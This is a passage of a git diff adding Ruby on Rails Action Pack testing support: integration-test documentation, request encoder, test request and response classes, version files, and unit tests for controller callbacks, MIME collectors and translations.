+  #           post "/say/#{room.id}", xhr: true, params: { message: message }
+  #           assert(...)
+  #           ...
+  #         end
+  #       end
+  #
+  #       def login(who)
+  #         open_session do |sess|
+  #           sess.extend(CustomAssertions)
+  #           who = people(who)
+  #           sess.post "/login", params: { username: who.username,
+  #             password: who.password }
+  #           assert(...)
+  #         end
+  #       end
+  #   end
+  #
+  # Another longer example would be:
+  #
+  # A simple integration test that exercises multiple controllers:
+  #
+  #   require 'test_helper'
+  #
+  #   class UserFlowsTest < ActionDispatch::IntegrationTest
+  #     test "login and browse site" do
+  #       # login via https
+  #       https!
+  #       get "/login"
+  #       assert_response :success
+  #
+  #       post "/login", params: { username: users(:david).username, password: users(:david).password }
+  #       follow_redirect!
+  #       assert_equal '/welcome', path
+  #       assert_equal 'Welcome david!', flash[:notice]
+  #
+  #       https!(false)
+  #       get "/articles/all"
+  #       assert_response :success
+  #       assert_select 'h1', 'Articles'
+  #     end
+  #   end
+  #
+  # As you can see the integration test involves multiple controllers and
+  # exercises the entire stack from database to dispatcher. In addition you can
+  # have multiple session instances open simultaneously in a test and extend
+  # those instances with assertion methods to create a very powerful testing
+  # DSL (domain-specific language) just for your application.
+  #
+  # Here's an example of multiple sessions and custom DSL in an integration test
+  #
+  #   require 'test_helper'
+  #
+  #   class UserFlowsTest < ActionDispatch::IntegrationTest
+  #     test "login and browse site" do
+  #       # User david logs in
+  #       david = login(:david)
+  #       # User guest logs in
+  #       guest = login(:guest)
+  #
+  #       # Both are now available in different sessions
+  #       assert_equal 'Welcome david!', david.flash[:notice]
+  #       assert_equal 'Welcome guest!', guest.flash[:notice]
+  #
+  #       # User david can browse site
+  #       david.browses_site
+  #       # User guest can browse site as well
+  #       guest.browses_site
+  #
+  #       # Continue with other assertions
+  #     end
+  #
+  #     private
+  #
+  #       module CustomDsl
+  #         def browses_site
+  #           get "/products/all"
+  #           assert_response :success
+  #           assert_select 'h1', 'Products'
+  #         end
+  #       end
+  #
+  #       def login(user)
+  #         open_session do |sess|
+  #           sess.extend(CustomDsl)
+  #           u = users(user)
+  #           sess.https!
+  #           sess.post "/login", params: { username: u.username, password: u.password }
+  #           assert_equal '/welcome', sess.path
+  #           sess.https!(false)
+  #         end
+  #       end
+  #   end
+  #
+  # See the {request helpers documentation}[rdoc-ref:ActionDispatch::Integration::RequestHelpers] for help on how to
+  # use +get+, etc.
+  #
+  # === Changing the request encoding
+  #
+  # You can also test your JSON API easily by setting what the request should
+  # be encoded as:
+  #
+  #   require "test_helper"
+  #
+  #   class ApiTest < ActionDispatch::IntegrationTest
+  #     test "creates articles" do
+  #       assert_difference -> { Article.count } do
+  #         post articles_path, params: { article: { title: "Ahoy!" } }, as: :json
+  #       end
+  #
+  #       assert_response :success
+  #       assert_equal({ id: Article.last.id, title: "Ahoy!" }, response.parsed_body)
+  #     end
+  #   end
+  #
+  # The +as+ option passes an "application/json" Accept header (thereby setting
+  # the request format to JSON unless overridden), sets the content type to
+  # "application/json" and encodes the parameters as JSON.
+  #
+  # Calling +parsed_body+ on the response parses the response body based on the
+  # last response MIME type.
+  #
+  # Out of the box, only <tt>:json</tt> is supported. But for any custom MIME
+  # types you've registered, you can add your own encoders with:
+  #
+  #   ActionDispatch::IntegrationTest.register_encoder :wibble,
+  #     param_encoder: -> params { params.to_wibble },
+  #     response_parser: -> body { body }
+  #
+  # Where +param_encoder+ defines how the params should be encoded and
+  # +response_parser+ defines how the response body should be parsed through
+  # +parsed_body+.
+  #
+  # Consult the Rails Testing Guide for more.
+
+  class IntegrationTest < ActiveSupport::TestCase
+    include TestProcess::FixtureFile
+
+    module UrlOptions
+      extend ActiveSupport::Concern
+      def url_options
+        integration_session.url_options
+      end
+    end
+
+    module Behavior
+      extend ActiveSupport::Concern
+
+      include Integration::Runner
+      include ActionController::TemplateAssertions
+
+      included do
+        include ActionDispatch::Routing::UrlFor
+        include UrlOptions # don't let UrlFor override the url_options method
+        ActiveSupport.run_load_hooks(:action_dispatch_integration_test, self)
+        @@app = nil
+      end
+
+      module ClassMethods
+        def app
+          if defined?(@@app) && @@app
+            @@app
+          else
+            ActionDispatch.test_app
+          end
+        end
+
+        def app=(app)
+          @@app = app
+        end
+
+        def register_encoder(*args)
+          RequestEncoder.register_encoder(*args)
+        end
+      end
+
+      def app
+        super || self.class.app
+      end
+
+      def document_root_element
+        html_document.root
+      end
+    end
+
+    include Behavior
+  end
+end
diff --git a/actionpack/lib/action_dispatch/testing/request_encoder.rb b/actionpack/lib/action_dispatch/testing/request_encoder.rb
new file mode 100644
index 0000000000..01246b7a2e
--- /dev/null
+++ b/actionpack/lib/action_dispatch/testing/request_encoder.rb
@@ -0,0 +1,55 @@
+# frozen_string_literal: true
+
+module ActionDispatch
+  class RequestEncoder # :nodoc:
+    class IdentityEncoder
+      def content_type; end
+      def accept_header; end
+      def encode_params(params); params; end
+      def response_parser; -> body { body }; end
+    end
+
+    @encoders = { identity: IdentityEncoder.new }
+
+    attr_reader :response_parser
+
+    def initialize(mime_name, param_encoder, response_parser)
+      @mime = Mime[mime_name]
+
+      unless @mime
+        raise ArgumentError, "Can't register a request encoder for " \
+          "unregistered MIME Type: #{mime_name}. See `Mime::Type.register`."
+      end
+
+      @response_parser = response_parser || -> body { body }
+      @param_encoder   = param_encoder   || :"to_#{@mime.symbol}".to_proc
+    end
+
+    def content_type
+      @mime.to_s
+    end
+
+    def accept_header
+      @mime.to_s
+    end
+
+    def encode_params(params)
+      @param_encoder.call(params)
+    end
+
+    def self.parser(content_type)
+      mime = Mime::Type.lookup(content_type)
+      encoder(mime ? mime.ref : nil).response_parser
+    end
+
+    def self.encoder(name)
+      @encoders[name] || @encoders[:identity]
+    end
+
+    def self.register_encoder(mime_name, param_encoder: nil, response_parser: nil)
+      @encoders[mime_name] = new(mime_name, param_encoder, response_parser)
+    end
+
+    register_encoder :json, response_parser: -> body { JSON.parse(body) }
+  end
+end
diff --git a/actionpack/lib/action_dispatch/testing/test_process.rb b/actionpack/lib/action_dispatch/testing/test_process.rb
new file mode 100644
index 0000000000..3b63706aaa
--- /dev/null
+++ b/actionpack/lib/action_dispatch/testing/test_process.rb
@@ -0,0 +1,50 @@
+# frozen_string_literal: true
+
+require_relative "../middleware/cookies"
+require_relative "../middleware/flash"
+
+module ActionDispatch
+  module TestProcess
+    module FixtureFile
+      # Shortcut for <tt>Rack::Test::UploadedFile.new(File.join(ActionDispatch::IntegrationTest.fixture_path, path), type)</tt>:
+      #
+      #   post :change_avatar, avatar: fixture_file_upload('files/spongebob.png', 'image/png')
+      #
+      # To upload binary files on Windows, pass <tt>:binary</tt> as the last parameter.
+      # This will not affect other platforms:
+      #
+      #   post :change_avatar, avatar: fixture_file_upload('files/spongebob.png', 'image/png', :binary)
+      def fixture_file_upload(path, mime_type = nil, binary = false)
+        if self.class.respond_to?(:fixture_path) && self.class.fixture_path &&
+            !File.exist?(path)
+          path = File.join(self.class.fixture_path, path)
+        end
+        Rack::Test::UploadedFile.new(path, mime_type, binary)
+      end
+    end
+
+    include FixtureFile
+
+    def assigns(key = nil)
+      raise NoMethodError,
+        "assigns has been extracted to a gem. To continue using it,
+        add `gem 'rails-controller-testing'` to your Gemfile."
+    end
+
+    def session
+      @request.session
+    end
+
+    def flash
+      @request.flash
+    end
+
+    def cookies
+      @cookie_jar ||= Cookies::CookieJar.build(@request, @request.cookies)
+    end
+
+    def redirect_to_url
+      @response.redirect_url
+    end
+  end
+end
diff --git a/actionpack/lib/action_dispatch/testing/test_request.rb b/actionpack/lib/action_dispatch/testing/test_request.rb
new file mode 100644
index 0000000000..0a4dec1364
--- /dev/null
+++ b/actionpack/lib/action_dispatch/testing/test_request.rb
@@ -0,0 +1,71 @@
+# frozen_string_literal: true
+
+require "active_support/core_ext/hash/indifferent_access"
+require "rack/utils"
+
+module ActionDispatch
+  class TestRequest < Request
+    DEFAULT_ENV = Rack::MockRequest.env_for("/",
+      "HTTP_HOST"                => "test.host",
+      "REMOTE_ADDR"              => "0.0.0.0",
+      "HTTP_USER_AGENT"          => "Rails Testing",
+    )
+
+    # Create a new test request with default `env` values.
+    def self.create(env = {})
+      env = Rails.application.env_config.merge(env) if defined?(Rails.application) && Rails.application
+      env["rack.request.cookie_hash"] ||= {}.with_indifferent_access
+      new(default_env.merge(env))
+    end
+
+    def self.default_env
+      DEFAULT_ENV
+    end
+    private_class_method :default_env
+
+    def request_method=(method)
+      super(method.to_s.upcase)
+    end
+
+    def host=(host)
+      set_header("HTTP_HOST", host)
+    end
+
+    def port=(number)
+      set_header("SERVER_PORT", number.to_i)
+    end
+
+    def request_uri=(uri)
+      set_header("REQUEST_URI", uri)
+    end
+
+    def path=(path)
+      set_header("PATH_INFO", path)
+    end
+
+    def action=(action_name)
+      path_parameters[:action] = action_name.to_s
+    end
+
+    def if_modified_since=(last_modified)
+      set_header("HTTP_IF_MODIFIED_SINCE", last_modified)
+    end
+
+    def if_none_match=(etag)
+      set_header("HTTP_IF_NONE_MATCH", etag)
+    end
+
+    def remote_addr=(addr)
+      set_header("REMOTE_ADDR", addr)
+    end
+
+    def user_agent=(user_agent)
+      set_header("HTTP_USER_AGENT", user_agent)
+    end
+
+    def accept=(mime_types)
+      delete_header("action_dispatch.request.accepts")
+      set_header("HTTP_ACCEPT", Array(mime_types).collect(&:to_s).join(","))
+    end
+  end
+end
diff --git a/actionpack/lib/action_dispatch/testing/test_response.rb b/actionpack/lib/action_dispatch/testing/test_response.rb
new file mode 100644
index 0000000000..0b7e9ca945
--- /dev/null
+++ b/actionpack/lib/action_dispatch/testing/test_response.rb
@@ -0,0 +1,35 @@
+# frozen_string_literal: true
+
+require_relative "request_encoder"
+
+module ActionDispatch
+  # Integration test methods such as ActionDispatch::Integration::Session#get
+  # and ActionDispatch::Integration::Session#post return objects of class
+  # TestResponse, which represent the HTTP response results of the requested
+  # controller actions.
+  #
+  # See Response for more information on controller response objects.
+  class TestResponse < Response
+    def self.from_response(response)
+      new response.status, response.headers, response.body
+    end
+
+    def initialize(*) # :nodoc:
+      super
+      @response_parser = RequestEncoder.parser(content_type)
+    end
+
+    # Was the response successful?
+    alias_method :success?, :successful?
+
+    # Was the URL not found?
+    alias_method :missing?, :not_found?
+
+    # Was there a server-side error?
+    alias_method :error?, :server_error?
+
+    def parsed_body
+      @parsed_body ||= @response_parser.call(body)
+    end
+  end
+end
diff --git a/actionpack/lib/action_pack.rb b/actionpack/lib/action_pack.rb
new file mode 100644
index 0000000000..fe2fc7c474
--- /dev/null
+++ b/actionpack/lib/action_pack.rb
@@ -0,0 +1,26 @@
+# frozen_string_literal: true
+
+#--
+# Copyright (c) 2004-2017 David Heinemeier Hansson
+#
+# Permission is hereby granted, free of charge, to any person obtaining
+# a copy of this software and associated documentation files (the
+# "Software"), to deal in the Software without restriction, including
+# without limitation the rights to use, copy, modify, merge, publish,
+# distribute, sublicense, and/or sell copies of the Software, and to
+# permit persons to whom the Software is furnished to do so, subject to
+# the following conditions:
+#
+# The above copyright notice and this permission notice shall be
+# included in all copies or substantial portions of the Software.
+#
+# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
+# LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
+# OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
+# WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
+#++
+
+require_relative "action_pack/version"
diff --git a/actionpack/lib/action_pack/gem_version.rb b/actionpack/lib/action_pack/gem_version.rb
new file mode 100644
index 0000000000..28bc153f4d
--- /dev/null
+++ b/actionpack/lib/action_pack/gem_version.rb
@@ -0,0 +1,17 @@
+# frozen_string_literal: true
+
+module ActionPack
+  # Returns the version of the currently loaded Action Pack as a <tt>Gem::Version</tt>
+  def self.gem_version
+    Gem::Version.new VERSION::STRING
+  end
+
+  module VERSION
+    MAJOR = 5
+    MINOR = 2
+    TINY  = 0
+    PRE   = "alpha"
+
+    STRING = [MAJOR, MINOR, TINY, PRE].compact.join(".")
+  end
+end
diff --git a/actionpack/lib/action_pack/version.rb b/actionpack/lib/action_pack/version.rb
new file mode 100644
index 0000000000..fd039fe140
--- /dev/null
+++ b/actionpack/lib/action_pack/version.rb
@@ -0,0 +1,10 @@
+# frozen_string_literal: true
+
+require_relative "gem_version"
+
+module ActionPack
+  # Returns the version of the currently loaded ActionPack as a <tt>Gem::Version</tt>
+  def self.version
+    gem_version
+  end
+end
diff --git a/actionpack/test/abstract/callbacks_test.rb b/actionpack/test/abstract/callbacks_test.rb
new file mode 100644
index 0000000000..fdc09bd951
--- /dev/null
+++ b/actionpack/test/abstract/callbacks_test.rb
@@ -0,0 +1,270 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+
+module AbstractController
+  module Testing
+    class ControllerWithCallbacks < AbstractController::Base
+      include AbstractController::Callbacks
+    end
+
+    class Callback1 < ControllerWithCallbacks
+      set_callback :process_action, :before, :first
+
+      def first
+        @text = "Hello world"
+      end
+
+      def index
+        self.response_body = @text
+      end
+    end
+
+    class TestCallbacks1 < ActiveSupport::TestCase
+      test "basic callbacks work" do
+        controller = Callback1.new
+        controller.process(:index)
+        assert_equal "Hello world", controller.response_body
+      end
+    end
+
+    class Callback2 < ControllerWithCallbacks
+      before_action :first
+      after_action :second
+      around_action :aroundz
+
+      def first
+        @text = "Hello world"
+      end
+
+      def second
+        @second = "Goodbye"
+      end
+
+      def aroundz
+        @aroundz = "FIRST"
+        yield
+        @aroundz += "SECOND"
+      end
+
+      def index
+        @text ||= nil
+        self.response_body = @text.to_s
+      end
+    end
+
+    class Callback2Overwrite < Callback2
+      before_action :first, except: :index
+    end
+
+    class TestCallbacks2 < ActiveSupport::TestCase
+      def setup
+        @controller = Callback2.new
+      end
+
+      test "before_action works" do
+        @controller.process(:index)
+        assert_equal "Hello world", @controller.response_body
+      end
+
+      test "after_action works" do
+        @controller.process(:index)
+        assert_equal "Goodbye", @controller.instance_variable_get("@second")
+      end
+
+      test "around_action works" do
+        @controller.process(:index)
+        assert_equal "FIRSTSECOND", @controller.instance_variable_get("@aroundz")
+      end
+
+      test "before_action with overwritten condition" do
+        @controller = Callback2Overwrite.new
+        @controller.process(:index)
+        assert_equal "", @controller.response_body
+      end
+    end
+
+    class Callback3 < ControllerWithCallbacks
+      before_action do |c|
+        c.instance_variable_set("@text", "Hello world")
+      end
+
+      after_action do |c|
+        c.instance_variable_set("@second", "Goodbye")
+      end
+
+      def index
+        self.response_body = @text
+      end
+    end
+
+    class TestCallbacks3 < ActiveSupport::TestCase
+      def setup
+        @controller = Callback3.new
+      end
+
+      test "before_action works with procs" do
+        @controller.process(:index)
+        assert_equal "Hello world", @controller.response_body
+      end
+
+      test "after_action works with procs" do
+        @controller.process(:index)
+        assert_equal "Goodbye", @controller.instance_variable_get("@second")
+      end
+    end
+
+    class CallbacksWithConditions < ControllerWithCallbacks
+      before_action :list, only: :index
+      before_action :authenticate, except: :index
+
+      def index
+        self.response_body = @list.join(", ")
+      end
+
+      def sekrit_data
+        self.response_body = (@list + [@authenticated]).join(", ")
+      end
+
+      private
+        def list
+          @list = ["Hello", "World"]
+        end
+
+        def authenticate
+          @list ||= []
+          @authenticated = "true"
+        end
+    end
+
+    class TestCallbacksWithConditions < ActiveSupport::TestCase
+      def setup
+        @controller = CallbacksWithConditions.new
+      end
+
+      test "when :only is specified, a before action is triggered on that action" do
+        @controller.process(:index)
+        assert_equal "Hello, World", @controller.response_body
+      end
+
+      test "when :only is specified, a before action is not triggered on other actions" do
+        @controller.process(:sekrit_data)
+        assert_equal "true", @controller.response_body
+      end
+
+      test "when :except is specified, an after action is not triggered on that action" do
+        @controller.process(:index)
+        assert !@controller.instance_variable_defined?("@authenticated")
+      end
+    end
+
+    class CallbacksWithArrayConditions < ControllerWithCallbacks
+      before_action :list, only: [:index, :listy]
+      before_action :authenticate, except: [:index, :listy]
+
+      def index
+        self.response_body = @list.join(", ")
+      end
+
+      def sekrit_data
+        self.response_body = (@list + [@authenticated]).join(", ")
+      end
+
+      private
+        def list
+          @list = ["Hello", "World"]
+        end
+
+        def authenticate
+          @list = []
+          @authenticated = "true"
+        end
+    end
+
+    class TestCallbacksWithArrayConditions < ActiveSupport::TestCase
+      def setup
+        @controller = CallbacksWithArrayConditions.new
+      end
+
+      test "when :only is specified with an array, a before action is triggered on that action" do
+        @controller.process(:index)
+        assert_equal "Hello, World", @controller.response_body
+      end
+
+      test "when :only is specified with an array, a before action is not triggered on other actions" do
+        @controller.process(:sekrit_data)
+        assert_equal "true", @controller.response_body
+      end
+
+      test "when :except is specified with an array, an after action is not triggered on that action" do
+        @controller.process(:index)
+        assert !@controller.instance_variable_defined?("@authenticated")
+      end
+    end
+
+    class ChangedConditions < Callback2
+      before_action :first, only: :index
+
+      def not_index
+        @text ||= nil
+        self.response_body = @text.to_s
+      end
+    end
+
+    class TestCallbacksWithChangedConditions < ActiveSupport::TestCase
+      def setup
+        @controller = ChangedConditions.new
+      end
+
+      test "when a callback is modified in a child with :only, it works for the :only action" do
+        @controller.process(:index)
+        assert_equal "Hello world", @controller.response_body
+      end
+
+      test "when a callback is modified in a child with :only, it does not work for other actions" do
+        @controller.process(:not_index)
+        assert_equal "", @controller.response_body
+      end
+    end
+
+    class SetsResponseBody < ControllerWithCallbacks
+      before_action :set_body
+
+      def index
+        self.response_body = "Fail"
+      end
+
+      def set_body
+        self.response_body = "Success"
+      end
+    end
+
+    class TestHalting < ActiveSupport::TestCase
+      test "when a callback sets the response body, the action should not be invoked" do
+        controller = SetsResponseBody.new
+        controller.process(:index)
+        assert_equal "Success", controller.response_body
+      end
+    end
+
+    class CallbacksWithArgs < ControllerWithCallbacks
+      set_callback :process_action, :before, :first
+
+      def first
+        @text = "Hello world"
+      end
+
+      def index(text)
+        self.response_body = @text + text
+      end
+    end
+
+    class TestCallbacksWithArgs < ActiveSupport::TestCase
+      test "callbacks still work when invoking process with multiple arguments" do
+        controller = CallbacksWithArgs.new
+        controller.process(:index, " Howdy!")
+        assert_equal "Hello world Howdy!", controller.response_body
+      end
+    end
+  end
+end
diff --git a/actionpack/test/abstract/collector_test.rb b/actionpack/test/abstract/collector_test.rb
new file mode 100644
index 0000000000..a4770b66e1
--- /dev/null
+++ b/actionpack/test/abstract/collector_test.rb
@@ -0,0 +1,65 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+
+module AbstractController
+  module Testing
+    class MyCollector
+      include AbstractController::Collector
+      attr_accessor :responses
+
+      def initialize
+        @responses = []
+      end
+
+      def custom(mime, *args, &block)
+        @responses << [mime, args, block]
+      end
+    end
+
+    class TestCollector < ActiveSupport::TestCase
+      test "responds to default mime types" do
+        collector = MyCollector.new
+        assert_respond_to collector, :html
+        assert_respond_to collector, :text
+      end
+
+      test "does not respond to unknown mime types" do
+        collector = MyCollector.new
+        assert_not_respond_to collector, :unknown
+      end
+
+      test "register mime types on method missing" do
+        AbstractController::Collector.send(:remove_method, :js)
+        begin
+          collector = MyCollector.new
+          assert_not_respond_to collector, :js
+          collector.js
+          assert_respond_to collector, :js
+        ensure
+          unless AbstractController::Collector.method_defined? :js
+            AbstractController::Collector.generate_method_for_mime :js
+          end
+        end
+      end
+
+      test "does not register unknown mime types" do
+        collector = MyCollector.new
+        assert_raise NoMethodError do
+          collector.unknown
+        end
+      end
+
+      test "generated methods call custom with arguments received" do
+        collector = MyCollector.new
+        collector.html
+        collector.text(:foo)
+        collector.js(:bar) { :baz }
+        assert_equal [Mime[:html], [], nil], collector.responses[0]
+        assert_equal [Mime[:text], [:foo], nil], collector.responses[1]
+        assert_equal [Mime[:js], [:bar]], collector.responses[2][0, 2]
+        assert_equal :baz, collector.responses[2][2].call
+      end
+    end
+  end
+end
diff --git a/actionpack/test/abstract/translation_test.rb b/actionpack/test/abstract/translation_test.rb
new file mode 100644
index 0000000000..7138044c03
--- /dev/null
+++ b/actionpack/test/abstract/translation_test.rb
@@ -0,0 +1,79 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+
+module AbstractController
+  module Testing
+    class TranslationController < AbstractController::Base
+      include AbstractController::Translation
+    end
+
+    class TranslationControllerTest < ActiveSupport::TestCase
+      def setup
+        @controller = TranslationController.new
+        I18n.backend.store_translations(:en,
+          one: {
+            two: "bar",
+          },
+          abstract_controller: {
+            testing: {
+              translation: {
+                index: {
+                  foo: "bar",
+                },
+                no_action: "no_action_tr",
+              },
+            },
+          })
+      end
+
+      def test_action_controller_base_responds_to_translate
+        assert_respond_to @controller, :translate
+      end
+
+      def test_action_controller_base_responds_to_t
+        assert_respond_to @controller, :t
+      end
+
+      def test_action_controller_base_responds_to_localize
+        assert_respond_to @controller, :localize
+      end
+
+      def test_action_controller_base_responds_to_l
+        assert_respond_to @controller, :l
+      end
+
+      def test_lazy_lookup
+        @controller.stub :action_name, :index do
+          assert_equal "bar", @controller.t(".foo")
+        end
+      end
+
+      def test_lazy_lookup_with_symbol
+        @controller.stub :action_name, :index do
+          assert_equal "bar", @controller.t(:'.foo')
+        end
+      end
+
+      def test_lazy_lookup_fallback
+        @controller.stub :action_name, :index do
+          assert_equal "no_action_tr", @controller.t(:'.no_action')
+        end
+      end
+
+      def test_default_translation
+        @controller.stub :action_name, :index do
+          assert_equal "bar", @controller.t("one.two")
+          assert_equal "baz", @controller.t(".twoz", default: ["baz", :twoz])
+        end
+      end
+
+      def test_localize
+        time, expected = Time.gm(2000), "Sat, 01 Jan 2000 00:00:00 +0000"
+        I18n.stub :localize, expected do
+          assert_equal expected, @controller.l(time)
+        end
+      end
+    end
+  end
+end
diff --git a/actionpack/test/abstract_unit.rb b/actionpack/test/abstract_unit.rb
new file mode 100644
index 0000000000..caa56018f8
--- /dev/null
+++ b/actionpack/test/abstract_unit.rb
@@ -0,0 +1,451 @@
+# frozen_string_literal: true
+
+$:.unshift File.expand_path("lib", __dir__)
+$:.unshift File.expand_path("fixtures/helpers", __dir__)
+$:.unshift File.expand_path("fixtures/alternate_helpers", __dir__)
+
+require "active_support/core_ext/kernel/reporting"
+
+# These are the normal settings that will be set up by Railties
+# TODO: Have these tests support other combinations of these values
+silence_warnings do
+  Encoding.default_internal = Encoding::UTF_8
+  Encoding.default_external = Encoding::UTF_8
+end
+
+require "drb"
+begin
+  require "drb/unix"
+rescue LoadError
+  puts "'drb/unix' is not available"
+end
+
+if ENV["TRAVIS"]
+  PROCESS_COUNT = 0
+else
+  PROCESS_COUNT = (ENV["N"] || 4).to_i
+end
+
+require "active_support/testing/autorun"
+require "abstract_controller"
+require "abstract_controller/railties/routes_helpers"
+require "action_controller"
+require "action_view"
+require "action_view/testing/resolvers"
+require "action_dispatch"
+require "active_support/dependencies"
+require "active_model"
+
+require "pp" # require 'pp' early to prevent hidden_methods from not picking up the pretty-print methods until too late
+
+module Rails
+  class << self
+    def env
+      @_env ||= ActiveSupport::StringInquirer.new(ENV["RAILS_ENV"] || ENV["RACK_ENV"] || "test")
+    end
+
+    def root; end;
+  end
+end
+
+ActiveSupport::Dependencies.hook!
+
+Thread.abort_on_exception = true
+
+# Show backtraces for deprecated behavior for quicker cleanup.
+ActiveSupport::Deprecation.debug = true
+
+# Disable available locale checks to avoid warnings running the test suite.
+I18n.enforce_available_locales = false
+
+FIXTURE_LOAD_PATH = File.join(__dir__, "fixtures")
+
+SharedTestRoutes = ActionDispatch::Routing::RouteSet.new
+
+SharedTestRoutes.draw do
+  ActiveSupport::Deprecation.silence do
+    get ":controller(/:action)"
+  end
+end
+
+module ActionDispatch
+  module SharedRoutes
+    def before_setup
+      @routes = SharedTestRoutes
+      super
+    end
+  end
+end
+
+module ActiveSupport
+  class TestCase
+    if RUBY_ENGINE == "ruby" && PROCESS_COUNT > 0
+      parallelize_me!
+    end
+  end
+end
+
+class RoutedRackApp
+  attr_reader :routes
+
+  def initialize(routes, &blk)
+    @routes = routes
+    @stack = ActionDispatch::MiddlewareStack.new(&blk).build(@routes)
+  end
+
+  def call(env)
+    @stack.call(env)
+  end
+end
+
+class ActionDispatch::IntegrationTest < ActiveSupport::TestCase
+  def self.build_app(routes = nil)
+    RoutedRackApp.new(routes || ActionDispatch::Routing::RouteSet.new) do |middleware|
+      middleware.use ActionDispatch::ShowExceptions, ActionDispatch::PublicExceptions.new("#{FIXTURE_LOAD_PATH}/public")
+      middleware.use ActionDispatch::DebugExceptions
+      middleware.use ActionDispatch::Callbacks
+      middleware.use ActionDispatch::Cookies
+      middleware.use ActionDispatch::Flash
+      middleware.use Rack::MethodOverride
+      middleware.use Rack::Head
+      yield(middleware) if block_given?
+    end
+  end
+
+  self.app = build_app
+
+  app.routes.draw do
+    ActiveSupport::Deprecation.silence do
+      get ":controller(/:action)"
+    end
+  end
+
+  class DeadEndRoutes < ActionDispatch::Routing::RouteSet
+    # Stub Rails dispatcher so it does not get controller references and
+    # simply return the controller#action as Rack::Body.
+    class NullController < ::ActionController::Metal
+      def self.dispatch(action, req, res)
+        [200, { "Content-Type" => "text/html" }, ["#{req.params[:controller]}##{action}"]]
+      end
+    end
+
+    class NullControllerRequest < ActionDispatch::Request
+      def controller_class
+        NullController
+      end
+    end
+
+    def make_request(env)
+      NullControllerRequest.new env
+    end
+  end
+
+  def self.stub_controllers(config = ActionDispatch::Routing::RouteSet::DEFAULT_CONFIG)
+    yield DeadEndRoutes.new(config)
+  end
+
+  def with_routing(&block)
+    temporary_routes = ActionDispatch::Routing::RouteSet.new
+    old_app, self.class.app = self.class.app, self.class.build_app(temporary_routes)
+    old_routes = SharedTestRoutes
+    silence_warnings { Object.const_set(:SharedTestRoutes, temporary_routes) }
+
+    yield temporary_routes
+  ensure
+    self.class.app = old_app
+    remove!
+    silence_warnings { Object.const_set(:SharedTestRoutes, old_routes) }
+  end
+
+  def with_autoload_path(path)
+    path = File.join(__dir__, "fixtures", path)
+    if ActiveSupport::Dependencies.autoload_paths.include?(path)
+      yield
+    else
+      begin
+        ActiveSupport::Dependencies.autoload_paths << path
+        yield
+      ensure
+        ActiveSupport::Dependencies.autoload_paths.reject! { |p| p == path }
+        ActiveSupport::Dependencies.clear
+      end
+    end
+  end
+end
+
+# Temporary base class
+class Rack::TestCase < ActionDispatch::IntegrationTest
+  def self.testing(klass = nil)
+    if klass
+      @testing = "/#{klass.name.underscore}".sub(/_controller$/, "")
+    else
+      @testing
+    end
+  end
+
+  def get(thing, *args)
+    if thing.is_a?(Symbol)
+      super("#{self.class.testing}/#{thing}", *args)
+    else
+      super
+    end
+  end
+
+  def assert_body(body)
+    assert_equal body, Array(response.body).join
+  end
+
+  def assert_status(code)
+    assert_equal code, response.status
+  end
+
+  def assert_response(body, status = 200, headers = {})
+    assert_body body
+    assert_status status
+    headers.each do |header, value|
+      assert_header header, value
+    end
+  end
+
+  def assert_content_type(type)
+    assert_equal type, response.headers["Content-Type"]
+  end
+
+  def assert_header(name, value)
+    assert_equal value, response.headers[name]
+  end
+end
+
+module ActionController
+  class API
+    extend AbstractController::Railties::RoutesHelpers.with(SharedTestRoutes)
+  end
+
+  class Base
+    # This stub emulates the Railtie including the URL helpers from a Rails application
+    extend AbstractController::Railties::RoutesHelpers.with(SharedTestRoutes)
+    include SharedTestRoutes.mounted_helpers
+
+    self.view_paths = FIXTURE_LOAD_PATH
+
+    def self.test_routes(&block)
+      routes = ActionDispatch::Routing::RouteSet.new
+      routes.draw(&block)
+      include routes.url_helpers
+    end
+  end
+
+  class TestCase
+    include ActionDispatch::TestProcess
+    include ActionDispatch::SharedRoutes
+  end
+end
+
+class ::ApplicationController < ActionController::Base
+end
+
+module ActionDispatch
+  class DebugExceptions
+    private
+      remove_method :stderr_logger
+      # Silence logger
+      def stderr_logger
+        nil
+      end
+  end
+end
+
+module ActionDispatch
+  module RoutingVerbs
+    def send_request(uri_or_host, method, path)
+      host = uri_or_host.host unless path
+      path ||= uri_or_host.path
+
+      params = { "PATH_INFO" => path,
+                 "REQUEST_METHOD" => method,
+                 "HTTP_HOST" => host }
+
+      routes.call(params)
+    end
+
+    def request_path_params(path, options = {})
+      method = options[:method] || "GET"
+      resp = send_request URI("http://localhost" + path), method.to_s.upcase, nil
+      status = resp.first
+      if status == 404
+        raise ActionController::RoutingError, "No route matches #{path.inspect}"
+      end
+      controller.request.path_parameters
+    end
+
+    def get(uri_or_host, path = nil)
+      send_request(uri_or_host, "GET", path)[2].join
+    end
+
+    def post(uri_or_host, path = nil)
+      send_request(uri_or_host, "POST", path)[2].join
+    end
+
+    def put(uri_or_host, path = nil)
+      send_request(uri_or_host, "PUT", path)[2].join
+    end
+
+    def delete(uri_or_host, path = nil)
+      send_request(uri_or_host, "DELETE", path)[2].join
+    end
+
+    def patch(uri_or_host, path = nil)
+      send_request(uri_or_host, "PATCH", path)[2].join
+    end
+  end
+end
+
+module RoutingTestHelpers
+  def url_for(set, options)
+    route_name = options.delete :use_route
+    set.url_for options.merge(only_path: true), route_name
+  end
+
+  def make_set(strict = true)
+    tc = self
+    TestSet.new ->(c) { tc.controller = c }, strict
+  end
+
+  class TestSet < ActionDispatch::Routing::RouteSet
+    class Request < DelegateClass(ActionDispatch::Request)
+      def initialize(target, helpers, block, strict)
+        super(target)
+        @helpers = helpers
+        @block = block
+        @strict = strict
+      end
+
+      def controller_class
+        helpers = @helpers
+        block = @block
+        Class.new(@strict ? super : ActionController::Base) {
+          include helpers
+          define_method(:process) { |name| block.call(self) }
+          def to_a; [200, {}, []]; end
+        }
+      end
+    end
+
